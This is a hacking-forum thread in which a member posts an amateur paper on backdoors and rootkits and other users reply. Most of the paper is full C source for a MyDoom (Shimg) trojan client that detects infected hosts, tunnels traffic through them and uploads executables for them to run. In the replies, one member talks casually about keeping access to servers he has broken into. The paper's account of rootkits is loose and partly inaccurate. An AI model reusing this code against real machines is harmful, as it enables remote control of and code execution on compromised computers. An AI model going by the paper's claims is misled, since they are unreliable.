iExploit

Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Sign In Apply for Membership

Top Posters

Who's Online (2)

Powered by Vanilla. Made with Bootstrap.
Looking to introduce yourself? Look no further, and click here! We also have IRC! [irc.evilzone.org #iexploit]
Backdoors, Rootkits and how they work
  • chroniccommand
    Posts: 1,389
    [align=center]|=-----------------------------------------------------------------------=|
    |=--------=[ Backdoors, Rootkits and how they work ]=--------=|
    |=-----------------------------------------------------------------------=|
    |=---------------=[ By: Chroniccommand ]=--------------=|
    |=---------------=[ CodeShock.org ]=--------------=|
    |=---------------=[ ]=--------------=|
    |=---------------=[ chroniccommand@gmail.com ]=--------------=|
    |=-----------------------------------------------------------------------=|[/align]
    ---[ Contents

    1 - Introduction

    2 - Backdoors
    2.1 - Types
    2.2 - How they work

    3 - Rootkits
    3.1 - Types
    3.2 - How they work

    4 - Conclusion

    --[ 1 - Introduction

    I am writing this paper to inform people how backdoors and rootkits work. Many people don't even know what a backdoor or a rootkit is. Backdoor's and rootkits are overlooked more then you may think. The purpose of this is to possibly help you learn about these two very special terms and how they work. Unfortunately, mainly due to HackForums, many people misconceive the word 'backdoor' and think of a "RAT"(Remote Admin Trojan). I have coded my own RAT in VB6 before, It's not very special and not much of an accomplishment. A true backdoor would be something like a piece of code (usually written in something like C or Python). A simple backdoor would do something like open SSH so that a hacker can gain entrance into the system via SSH that has been opened through the backdoor. Now for a rootkit. Just break it down into two parts. Root = root account, kit = kit. A rootkit will hide itself deep in the system where it is very tricky to find. If the crafter of a rootkit codes it good enough the rootkit could be designed to overwrite important system files, gain entrance to the BIOS, change the entire operating system, corrupt file systems, and you get the point. In this paper I will be going over both Backdoor's and Rootkit's in as much detail as I can to provide you with information about both.

    --[ 2 - Backdoors

    Like stated above, backdoor's work their way into a system and let a hacker gain 'backdoor' entrance, thus the word backdoor. In subsection 2.1 I will discuss types of backdoors such as SSH backdoor's and other types. In subsection 2.2 I will talk about how a backdoor works, to better arm you with knowledge.

    ----[ 2.1 - Types

    There are many types of backdoors, coded in many different languages. As stated above, I once coded a RAT in VB6. I do not really consider this much of a backdoor but it's a simple accomplishment. My next goal is a SSH backdoor in C. But enough about me, back to the types of backdoor's. A very common type of backdoor will gain root entrance into the victim's system and do something that is obviously unwanted by the system owner. A common type is SSH backdoor. I've seen variations of backdoor's coded in C. Some are simple and some are complicated. A simple one just works its way into the system and, like stated above, opens an SSH backdoor with a password set by the creator of the backdoor. Johnathon James a.k.a "c0mrade" put his very own backdoor into the Department of Defense systems which was used to gain entrance whenever he liked (until he was caught that is).

    ----[ 2.2 - How they work

    Backdoor's work in many ways. They can be coded in VB, C, Python, C++ etc. Think of a backdoor this way. If you take 2 days to break into a server, and you give all that hard work to do it are you going to do all that again if you want to get back in? No. You're going to create a backdoor to gain entrance faster. The structure of a backdoor is usually
    __________________________________
    | |
    | 1. Gain Entrance |
    |__________________________________|
    | 2. Execute payloads |
    |__________________________________|
    | 3. Let the hacker in |
    |__________________________________|



    Part one is where the backdoor is gaining entrance, not the actual coder of the backdoor. Part two is possibly the most important part of a backdoor. It executes what the backdoor is designed to do, such as SSHd 'patch'. By patch I do not mean fix a vulnerability I am talking about backdooring it. A good example of a backdoor is MyDoom. I will provide the source.


    #include <stdio.h>
    #include <stdlib.h>
    #include <inttypes.h>
    #include <unistd.h>
    #include <time.h>
    #include <signal.h>
    #include <fcntl.h>
    #include <errno.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/stat.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <locale.h>



    #define DEFAULT_SHIMG_PORT   3127
    #define DEFAULT_PROXY_PORT   6060
    #define DEFAULT_LISTEN_PORT  2731
    #define DEFAULT_FORWARD_PORT 80
    #define HOST_MAXLEN          70
    #define TIMEOUT		        15

    /* Takie dane bêd± wys³ane w celu rozpoznania Shimg */
    #define TOUCH_CONTENT  {'\001'}
    /* Takie dane oznaczaj± wykrycie Shimg */
    #define MYDOOM_FGRPRNT {'\x04','\x5B','\x00','\x00','\x00','\x00','\x00','\x00'}

    /* ¯±danie uruchomienia programu */
    #define RUN_CONTENT    {'\x85','\x13','\x3C','\x9E','\xA2'}
    /* ¯±danie zestawienia tunelu */
    #define FORW_CONTENT   {'\x04','\x01','\x00','\x00','\x00','\x00','\x00','\x00','\000'}

    #define PROXY_RESP \"HTTP/1.0 200 Connection established\"

    #ifndef BUFLEN
    #define BUFLEN 200
    #endif

    #ifndef HAVE_SIN_LEN
    /* Na GNU/Linux to ma byæ 0, na Uniksie to ma byæ 1 */
    #define HAVE_SIN_LEN 0
    #endif


    const char *ARGV0;
    struct sockaddr_in VICTIM_ADDR;
    struct sockaddr_in PROXY_ADDR;

    void usage(void);
    void baner(void);
    void Blad(const char *str);
    int  Polacz(const struct sockaddr_in *cel);
    void Do_Touch(void);
    void Do_Forward(const char *dst, int input);
    void Do_Run(const char *nazwa);
    void Nasluchuj(const char *listen_loc, const char *dst);
    void Ustal_Adres(struct sockaddr_in *dst, const char *src, uint16_t def_port);



    int main(int argc, char * const *argv)
    {
    	int ch;
    	int touch = 0;
    	char *forward = NULL, *run = NULL;
    	char *listen = NULL, *proxy = NULL;

    	setlocale(LC_ALL, \"\");
    	signal(SIGPIPE, SIG_IGN);

    	if( NULL == (ARGV0 = argv[0]) )
    		exit(EXIT_FAILURE);
    	if( argc < 2 )
    		usage();

    	while( (ch=getopt(argc, argv, \"f:r:thl:p:\")) != -1 )
    	{
    		switch(ch) {
    			case 'f':
    				forward = optarg;
    				break;
    			case 'r':
    				run = optarg;
    				break;
    			case 't':
    				touch = 1;
    				break;
    			case 'l':
    				listen = optarg;
    				break;
    			case 'p':
    				proxy = optarg;
    				break;
    			case '?':
    			case 'h':
    			default:
    				usage();
    		}
    	}
    	argc -= optind;
    	argv += optind;
    	if( argc != 1 )
    		usage();
    	if( ! touch && ! forward && ! run )
    		touch = 1;

    	baner();

    	Ustal_Adres(&VICTIM_ADDR, *argv, DEFAULT_SHIMG_PORT);
    	if( proxy )
    		Ustal_Adres(&PROXY_ADDR, proxy, DEFAULT_PROXY_PORT);

    	if( touch )
    		Do_Touch();

    	if( run )
    		Do_Run(run);

    	if( listen && forward )
    		Nasluchuj(listen, forward);
    	else if( forward )
    		Do_Forward(forward, 0);


    	exit(EXIT_SUCCESS);
    }


    /*---------------------------------------------------------
    --- Definicje funkcji {{{ ---------------------------------
    ---------------------------------------------------------*/

    /*
     * Przyjmuje wska¼nik src na ³añcuch znaków (ip lub nazwa hosta)
     * i wype³nia strukturê sockaddr_in, wskazywan± przez dst.
     */
    void Ustal_Adres(struct sockaddr_in *dst, const char *src, uint16_t def_port)
    {
    	char *port;
    	char Adres[HOST_MAXLEN];
    	struct hostent *he1;

    	if( ! src || ! dst )
    		return;

    	strncpy(Adres, src, sizeof(Adres));
    	Adres[sizeof(Adres)-1] = '\0';

    	memset((void*)dst, '\0', sizeof(*dst));

    #if defined(HAVE_SIN_LEN) && HAVE_SIN_LEN != 0
    	dst->sin_len    = sizeof(struct in_addr);
    #endif
    	dst->sin_family = AF_INET;

    	if( (port=index(Adres, ':')) && *(port+1) )
    	{
    		*port = '\0';
    		dst->sin_port = htons(atoi(port+1));
    	}
    	else
    		dst->sin_port = htons(def_port);

    	if( (dst->sin_addr.s_addr=inet_addr(Adres)) == INADDR_NONE )
    	{
    		he1 = gethostbyname2(Adres, AF_INET);
    		if( ! he1 || ! he1->h_addr_list[0] )
    		{
    			fprintf(stderr,
    					\"B³±d: Nie uda³o siê rozpoznaæ podanego adresu (%s).\n\", src);
    			exit(EXIT_FAILURE);
    		}
    		dst->sin_addr.s_addr = *(in_addr_t*)(he1->h_addr_list[0]);
    		printf(\"[i] Nazwa %s wskazuje na adres %s\n\", Adres, inet_ntoa(dst->sin_addr));
    		endhostent();
    	}
    }

    /*
     * Wy¶wietla komunikat o b³êdze na podstawie warto¶ci errno
     */
    void Blad(const char *str)
    {
    	char *buf;

    	if( ! str )
    		return;

    	if( NULL == (buf = malloc(strlen(str)+4+1)) )
    		exit(EXIT_FAILURE);

    	sprintf(buf, \"[B] %s\", str);

    	perror(buf);
    	exit(EXIT_FAILURE);
    }

    /*
     * Tworzy gniazdo internetowe i ustanawia po³±czenie z celem
     */
    int Polacz(const struct sockaddr_in *cel)
    {
    	int fd;
    	int ver, status, err;
    	FILE *proxy;
    	char buf[80];
    	struct timeval tv1 = { TIMEOUT, 0 };

    	if( ! cel )
    		return -1;

    	if( PROXY_ADDR.sin_addr.s_addr == (in_addr_t)0
    			|| ( PROXY_ADDR.sin_port == cel->sin_port
    				&& PROXY_ADDR.sin_addr.s_addr == cel->sin_addr.s_addr ) )
    	{
    		/* £±czenie bezpo¶rednie */

    		if( (fd=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0 )
    			Blad(\"socket()\");
    		if( connect(fd, (struct sockaddr *)cel, sizeof(*cel)) < 0 )
    			Blad(\"connect()\");

    	}
    	else
    	{
    		/* Próba ³±czenia przez proxy */

    		fprintf(stderr, \"[i] £±czenie z proxy...\n\");

    		fd = Polacz(&PROXY_ADDR);

    		if( setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, (void*)&tv1, sizeof(tv1)) < 0 )
    			Blad(\"setsockopt()\");
    		if( NULL == (proxy=fdopen(fd, \"r+\")) )
    			Blad(\"fdopen()\");

    		fprintf(proxy, \"CONNECT %s:%d HTTP/1.1\r\n\r\n\",
    				inet_ntoa(cel->sin_addr), ntohs(cel->sin_port));


    		if( (err=fscanf(proxy, \"HTTP/1.%d %d \", &ver, &status)) != 2
    				|| NULL == fgets(buf, sizeof(buf), proxy)
    				|| NULL == fgets(buf, sizeof(buf), proxy) )
    		{
    			if( err != -1 && err != 2 )
    			{
    				fprintf(stderr,
    						\"[B] Niezrozumia³a odpowied¼ od serwera proxy.\n\");
    				exit(EXIT_FAILURE);
    			}
    			else if( errno == EWOULDBLOCK )
    			{
    				fprintf(stderr,
    						\"[B] Brak odpowiedzi od proxy w ci±gu %ds\n\", TIMEOUT);
    				exit(EXIT_FAILURE);
    			}
    			else
    				Blad(\"fgets()\");
    		}

    		if( ver != 0 && ver != 1 )
    		{
    			fprintf(stderr, \"[B] B³êdna odpowied¼ od proxy.\n\");
    			exit(EXIT_FAILURE);
    		}

    		if( status != 200 )
    		{
    			fprintf(stderr, \"[B] Proxy nie uda³o siê nawi±zaæ po³±czenia.\n\");
    			fprintf(stderr, \"[B]    Status odpowiedzi od serwera: %d\n\", status);
    			exit(EXIT_FAILURE);
    		}

    		printf(\"[i] Serwer proxy ustanowi³ po³±czenie.\n\");

    	}

    	return fd;
    }


    /*
     * Otwiera port na adresie listen_loc i serwuje ³±cz±cym siê klientom
     * tunelowane po³±czenie z dst.
     */
    void Nasluchuj(const char *listen_loc, const char *dst)
    {
    	int listen_fd, client_fd;
    	struct sockaddr_in listen_addr, client_addr;
    	socklen_t addr_len = sizeof(struct sockaddr_in);

    	if( ! listen_loc || ! *listen_loc )
    		return;

    	Ustal_Adres(&listen_addr, listen_loc, DEFAULT_LISTEN_PORT);

    	if( (listen_fd=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0 )
    		Blad(\"socket()\");
    	if( bind(listen_fd, (struct sockaddr*)&listen_addr, sizeof(listen_addr)) < 0 )
    		Blad(\"bind()\");
    	if( listen(listen_fd, 3) < 0 )
    		Blad(\"listen()\");

    	fprintf(stderr, \"[*] Oczekiwanie na po³±czenie klienta...\n\");

    	if( (client_fd=accept(listen_fd, (struct sockaddr *) &client_addr, &addr_len)) < 0 )
    		Blad(\"accept()\");

    	fprintf(stderr, \"[i] Nadesz³o po³±czenie z %s:%d...\n\",
    			inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));

    	Do_Forward(dst, client_fd);
    }



    /*
     * Sprawdzenie, czy na serwerze dzia³a Shimg
     */
    void Do_Touch(void)
    {
    	int fd, n, len;
    	char zapyt[] = TOUCH_CONTENT;
    	char oczek[] = MYDOOM_FGRPRNT;
    	char odpow[sizeof(oczek)];
    	struct timeval tv1 = { TIMEOUT, 0 };


    	printf(\"[*] Sprawdzanie dostêpno¶ci portu %d na serwerze %s...\n\",
    			ntohs(VICTIM_ADDR.sin_port), inet_ntoa(VICTIM_ADDR.sin_addr));

    	fd = Polacz(&VICTIM_ADDR);

    	if( send(fd, (void*)zapyt, sizeof(zapyt), 0) != sizeof(zapyt) )
    		Blad(\"send()\");


    	if( setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, (void*)&tv1, sizeof(tv1)) < 0 )
    		Blad(\"setsockopt()\");

    	if( (len=recv(fd, (void*)odpow, sizeof(odpow), 0)) < 0 )
    	{
    		if( errno == EWOULDBLOCK )
    		{
    			fprintf(stderr,
    					\"[B] Port otwarty, ale brak odpowiedzi w ci±gu %ds\n\", TIMEOUT);
    			exit(EXIT_FAILURE);
    		}
    		else
    			Blad(\"recv()\");
    	}

    	printf(\"[i] Odpowied¼ od serwera:\n[i] \");
    	if( len )
    		for( n=0; n<len; ++n )
    			printf(\"0x%X \", odpow[n]);
    	else
    		printf(\"(brak)\");
    	printf(\"\n\");

    	if( len != sizeof(oczek) || memcmp(odpow, oczek, sizeof(oczek) ) )
    		printf(\"[!] Port otwarty, ale odpowied¼ nie przypomina trojana MyDoom.\n\");
    	else
    		printf(\"[!] W podanym po³o¿eniu dzia³a trojan MyDoom (shimg).\n\");

    	if( close(fd) < 0 )
    		Blad(\"close()\");

    }

    /*
     * Zestawienie tunelu do dst, wykorzystuj±c komputer z Shimg jako proxy
     * input to deskryptor, z którego przychodz± dane do przesy³ania.
     */
    void Do_Forward(const char *dst, int input)
    {
    	int victim_fd;
    	int wczytane, zapisane;
    	struct sockaddr_in cel;
    	char HEADER[] = FORW_CONTENT;
    	char RESP[sizeof(HEADER) - 1];
    	char bufor;
    	int max;
    	fd_set orig_rdfds, rdfds;

    	if( ! dst || ! *dst )
    		return;

    	Ustal_Adres(&cel, dst, DEFAULT_FORWARD_PORT);
    	*(uint16_t*)&(HEADER[2]) = cel.sin_port;
    	*(uint32_t*)&(HEADER[4]) = cel.sin_addr.s_addr;


    	printf(\"[*] Ustanawianie po³±czenia z %s:%d \",
    			inet_ntoa(cel.sin_addr), ntohs(cel.sin_port));
    	printf(\"poprzez %s:%d...\n\",
    			inet_ntoa(VICTIM_ADDR.sin_addr), ntohs(VICTIM_ADDR.sin_port));

    	victim_fd = Polacz(&VICTIM_ADDR);

    	if( write(victim_fd, (void*)HEADER, sizeof(HEADER)) != sizeof(HEADER) )
    		Blad(\"write()\");
    	if( read(victim_fd, (void*)RESP, sizeof(RESP)) < 0 )
    		Blad(\"read()\");

    	HEADER[1] = 0x5A;
    	if( memcmp( HEADER, RESP, sizeof(RESP) ) )
    	{
    		printf(\"[B] Trojan Shimg odpowiedzia³, ¿e nie mo¿e siê po³±czyæ.\n\");
    		exit(EXIT_FAILURE);
    	}
    	printf(\"[!] Trojan Shimg odpowiedzia³, ¿e nawi±za³ po³±czenie.\n\");


    	if( fcntl(victim_fd, F_SETFL, O_NONBLOCK) < 0 )
    		Blad(\"fcntl()\");
    	if( fcntl(input, F_SETFL, O_NONBLOCK) < 0 )
    		Blad(\"fcntl()\");

    	max = ( (victim_fd>input)?victim_fd:input ) + 1;
    	FD_ZERO(&orig_rdfds);
    	FD_SET(victim_fd, &orig_rdfds);
    	FD_SET(input, &orig_rdfds);

    	for(;;)
    	{
    		rdfds = orig_rdfds;
    		if( select( max, &rdfds, NULL, NULL, NULL ) < 0 )
    			Blad(\"select()\");

    		if( FD_ISSET(input, &rdfds) )
    		{
    			wczytane = read(input, &bufor, 1);
    			if( wczytane == 0 )
    				break;
    			else if( wczytane < 0 )
    				Blad(\"read()\");
    			do
    				zapisane = write(victim_fd, &bufor, 1);
    			while( zapisane < 0 && errno == EWOULDBLOCK );
    			if( zapisane < 0 )
    				Blad(\"write()\");
    		}

    		if( FD_ISSET(victim_fd, &rdfds) )
    		{
    			wczytane = read(victim_fd, &bufor, 1);
    			if( wczytane == 0 )
    				break;
    			else if( wczytane < 0 )
    				Blad(\"read()\");
    			do
    				zapisane = write(input, &bufor, 1);
    			while( zapisane < 0 && errno == EWOULDBLOCK );
    			if( zapisane < 0 )
    				Blad(\"write()\");
    		}
    	}

    	if( close(victim_fd) < 0 )
    		Blad(\"close()\");

    	printf(\"\n[*] Po³±czenie zosta³o zamkniête.\n\");

    }

    /*
     * Wys³anie programu do trojana i ¿±dania uruchomienia
     */
    void Do_Run(const char *nazwa)
    {
    	int serw, plik;
    	int wczytane;
    	char RUN[] = RUN_CONTENT;
    	char bufor[BUFLEN];

    	if( ! nazwa || ! *nazwa )
    		return;

    	printf(\"[*] Wysy³anie pliku (%s) do uruchomienia przez trojana...\n\", nazwa);

    	if( (plik = open(nazwa, O_RDONLY)) < 0 )
    		Blad(\"open()\");
    	serw = Polacz(&VICTIM_ADDR);

    	if( send(serw, (void*)RUN, sizeof(RUN), 0) != sizeof(RUN) )
    		Blad(\"send()\");

    	do
    	{
    		wczytane = read(plik, (void*)bufor, sizeof(bufor));
    		if( wczytane < 0 )
    			Blad(\"read()\");
    		if( write(serw, (void*)bufor, wczytane) != wczytane )
    			Blad(\"write()\");
    	} while( wczytane );

    	if( close(plik) < 0 )
    		Blad(\"close()\");
    	if( close(serw) < 0 )
    		Blad(\"close()\");

    	printf(\"[!] OK. Plik zosta³ przes³any na podany adres.\n\");
    }

    void baner(void)
    {
    	printf(\"--------------------------------------------------\n\");
    	printf(\"****         klient MyDoom.c (shimg)         *****\n\");
    	printf(\"****       nie 01 lut 2004 21:27:20 CET      *****\n\");
    	printf(\"**** Robert Nowotniak <rob@submarine.ath.cx> *****\n\");
    	printf(\"--------------------------------------------------\n\");
    	printf(\"*** Program _WY£¡CZNIE_ do celów edukacyjnych. ***\n\");
    	printf(\"--------------------------------------------------\n\");
    	printf(\"\n\");
    }

    void usage(void)
    {
    	fprintf(stderr, \"\n\");
    	fprintf(stderr, \" U¿ycie:\n\");
    	fprintf(stderr,
    		\"%s [-t] [[-l <adres[:port]>] -f <Adres_Docelowy[:port]>]\n\"
    		\"\t[-p <Proxy[:port]>] [-r <Plik.exe>] <Cel_Ataku[:port]>\n\", ARGV0);
    	fprintf(stderr, \"\n\");
    	fprintf(stderr,
    		\"  -t   Sprawdzenie, czy w podanej lokalizacji dzia³a trojan MyDoom (shimg)\n\");
    	fprintf(stderr,
    		\"  -f   Zestawienie tunelowanego po³±czenia z Adresem_Docelowym (forwarding)\n\");
    	fprintf(stderr,
    		\"  -r   Uruchomienie podanego <Pliku.exe> na atakowanym komputerze\n\");
    	fprintf(stderr,
    		\"  -p   Wykonywanie wszyskich dzia³añ przez proxy (metoda CONNECT)\n\");
    	fprintf(stderr,
    		\"  -l   Nas³uchiwanie na porcie w celu tunelowania\n\");
    	fprintf(stderr, \"\n\");

    	exit(EXIT_FAILURE);
    }

    ----------------------------
    MyDoom is a good example of a backdoor written in C.

    --[ 3 - Rootkits

    As explained before, rootkit's are used to cause damage as a root or admin user on a machine. Rootkit's hide themselves pretty good and usually destroy things. If a rootkit is successfully installed on the victim system the attacker will have root regardless of any protection. Rootkits can access all registry hives on windows and all root files on a Unix type box.

    ----[ 3.1 - Types

    There are many types of rootkits today. Usually it is to fuck a system over big time, or gain entrance into personal
    information and much more. Rootkits could also be used like a botnet to take control over a 'zombie' system. But when talking about rootkits there are generally 6 common types: kernel rootkits, firmware rootkits, bootloader rootkits, hypervisor rootkits, library rootkits and application rootkits. Kernel rootkits are what I will talk about first. Kernel rootkits will usually replace or add code to the operating system or kernel. Kernel rootkits can be very dangerous because the rootkit has unrestricted access to do whatever it wants. Now I will talk about firmware rootkits. The firmware rootkit uses the systems firmware to hide in, because the firmware is not checked, meaning the rootkit will usually not be found. Next is bootloader rootkit. A bootloader rootkit replaces the currently used bootloader with the rootkit crafter's bootloader. Hypervisor rootkits that modify the boot sequence, simple as that. Library rootkits replace the 'system calls' with the attackers own code. And last, but not least, application rootkits. Application rootkits replace .exe's and binaries with there own code or trojan.

    ----[ 3.2 - How they work

    Rootkits work in a similar way to backdoors. They work their way into a system and gain super user access, which gives control to the entire system. Rootkits can do numbers of things. In mydoom, the worm / backdoor would send itself to contacts in the victims email account. Rootkit's dont always have to spread though, they can just sit, wait, and when the time is right, attack they system. A common type is the kernel rootkit, which I discussed above. Another common type is an application rootkit, sometimes also called a Trojan (Although trojan is more affiliated with backdoors). There is a simple structure, much like a backdoor to how a rootkit works. It follows this type of pattern.
    1. Infect host
    2. Bury itself
    3. Spread within the system
    4. Gain root access
    5. Tell the rootkit's crafter it has gained root <= Optional
    6. Preform whatever the attacker wants to do

    Let me break this down for you. One is the probobly the easiest part, infection. Two is where the rootkit is burying itself and making it almost undetectable to the victim and Anti-Virus. Three is the stage after burying itself, it will spread to other parts of the same system, or another victim's system. Four is where the rootkit gains root, or sometimes known as admin. Part five is optional, but common. This is where it sends an email or some other alert to the crafter of the rootkit that it has root access. And finally, six. Stage six is when it has finished all other tasks, and the rootkit has root access. The attacker can now preform any command they want on the rooted system.

    --[ 4 - Conclusion

    This was a simple paper by Chroniccommand. I hope you enjoyed it and learned something in this paper. I wish to code my own C or python backdoor somewhere in the near future, so look out for it.

    --Chroniccommand
  • Xin
    Posts: 3,251
    Great paper, as i need to start using backdoors as i always forget and lose my servers
    Xin
  • chroniccommand
    Posts: 1,389
    said:


    Great paper, as i need to start using backdoors as i always forget and lose my servers



    Servers for what?
  • Xin
    Posts: 3,251
    Servers that i have rooted, i never backdoor them
    Xin
  • chroniccommand
    Posts: 1,389
    said:


    Servers that i have rooted, i never backdoor them



    Ahh well if you're good enough you can code your own ;)
    PS> I got my iSSHbackdoor done check it out :D
  • Xin
    Posts: 3,251
    Il have a look :), and yeah i need to learn to code better,
    Xin
  • chroniccommand
    Posts: 1,389
    said:


    Il have a look :), and yeah i need to learn to code better,



    Python's a great language. It's fast, powerful and effective. C is the next step after Python. I'm currently taking it like this:
    Python -> C -> ASM -> More from here..

    So I'm on the C stage.
  • Xin
    Posts: 3,251
    Sounds good would you say python is easier than C then?
    Xin
  • chroniccommand
    Posts: 1,389
    said:


    Sounds good would you say python is easier than C then?



    C is harder than python by a longshot lol.
  • Xin
    Posts: 3,251
    Okay fair enough il start learning python then :). Where are you from btw? (i think i asked b4 _
    Xin
  • DizzY
    Posts: 155
    said:


    said:


    Sounds good would you say python is easier than C then?



    C is harder than python by a longshot lol.


    I'm starting with Vb.Net (I'm still pretty noob.) Then c# then python then c++/c[hr]
    acctually java is probs after Vb.Net
  • Bursihido
    Posts: 406
    thanks alot bro for sharing knowleage :)
  • Xin
    Posts: 3,251
    said:


    said:


    said:


    Sounds good would you say python is easier than C then?



    C is harder than python by a longshot lol.


    I'm starting with Vb.Net (I'm still pretty noob.) Then c# then python then c++/c[hr]
    acctually java is probs after Vb.Net


    Do python before C , its easier according to chronic.
    Xin
  • GameOver
    Posts: 675
    very nice paper dude! Your post it's too nice!

    Good work! ;)
  • yahiashowgan
    Posts: 22
    Thanks :)
    Cool Paper..
  • rx-
    Posts: 169
    well, you should talk more about lkm rootkits, as that were the first ones afaik, and you forgot to even mention BluePill :) good tut tho....
  • h4ckingURLife
    Posts: 125
    Good paper, there is loads of information there. :)
  • tarunagg888
    Posts: 21
    nice paper,.,,.!!
    i'm newb to all this.>>~!!
Add a Comment